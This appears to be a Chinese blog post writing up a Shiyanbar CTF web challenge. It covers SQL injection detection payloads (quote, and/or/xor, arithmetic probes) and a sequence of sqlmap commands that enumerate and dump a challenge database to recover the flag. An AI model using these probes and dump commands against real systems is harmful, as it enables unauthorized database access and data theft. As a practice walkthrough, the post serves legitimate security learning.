【CTFweb】简单的注入


题目环境:这个题目看起来好简单!
题目地址:实验吧


通过观察URL,发现可能存在注入点,通过使用and 1=1 ,and 1=2判断存在注入点。

一:注入点判断:

传入SQL语句可控参数分为两类:

  1. 数字类型,参数不用被引号括起来,如?id=1
  2. 其他类型,参数要被引号扩起来,如?name="phone"

判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,服务端返回的内容来判断有无注入。

1、引号判断

 http://www.xxx.com/xxx.asp?id=10'
//如果出现错误提示,则该网站可能就存在注入漏洞。

2、and判断

 http://www.xxx.com/xxx.asp?id=10'and 1=1   
//这个条件永远都是真的,所以当然返回是正常页。 
 http://www.xxx.com/xxx.asp?id=10'and 1=2  
//如果报错说明存在注入漏洞,要看报的什么错,不可能报任何错都有注入漏洞。

3、Or判断(or跟and判断方法不一样的,and 是提交返回错误才有注入点,而OR是提交返回正确有注入点)

http://www.xxx.com/xxx.asp?id=10'or 1=1 
http://www.xxx.com/xxx.asp?id=10'or 1=2

4、xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点)

http://www.xxx.com/xxx.asp?id=10'xor 1=1
http://www.xxx.com/xxx.asp?id=10'xor 1=2

5、加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞)

http://www.xxx.com/xxx.asp?id=10-0  
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1

6、输入框判断

可以使用特殊符号去判断  #@!$/ ...

登录框注入,使用#,--都无效,但是使用报错,这时候上sqlmap,发现可以注入。

二、开始注入:

1、sqlmap直接跑:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1"--current-db //(查询当前使用数据库)

2、继续查询数据库中的表:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

查询出‘my_db’数据库中的表:

3、然后查询表中的列:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns

4、查询数据库表中的k0y字段:

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

附上flag:whatiMyD91dump

如果出现乱码可以使用-D 数据库名 -T 表名 --columns --hex或者

-D 数据库名 -T 表名 --columns --no-cast 解决

一般web没有过滤注入字符的话,数据库注入流程就是大概这个样子,如果过滤了字段,url就需增加各种过滤参数,依情况而> > > 定。

  Previous post Superstar !
Next post   已到最新一篇

添加新评论

选择表情

  近期动态

晚安,论文绞尽脑汁。
--- updated on 2019-03-20 01:17:34 星期三

  关于博主

九零后,码农,很苗条,双鱼男
个人博客,随便写写,工作方向:网络运维
爱代码,爱生活,爱音乐,爱游戏。。。

  近期评论

  分类目录

青春就是用来追忆的,当你怀揣着它时,它一文不值,只有将它耗尽后,再回过头看,一切才有了意义,爱过我们的人和伤害过我们的人,都是我们青春存在的意义。

既然活着来到这个世界,就没有打算活着回去。所以,在这有限的时间里,我们应该珍惜生命,珍惜机会,更要珍惜那得之不易的时间。因那滴答做响的时间脚步,一旦走过,再不回头。

青春是一个充满魁力,充满诱惑的时代。好动是青春,好奇是青春,好玩是青春。玩世不恭更是青春,我们的一切切都是青春。

要先打败任何事情得先学会打败自己。

我会把每一次改变当做成长,哪怕是痛也值得。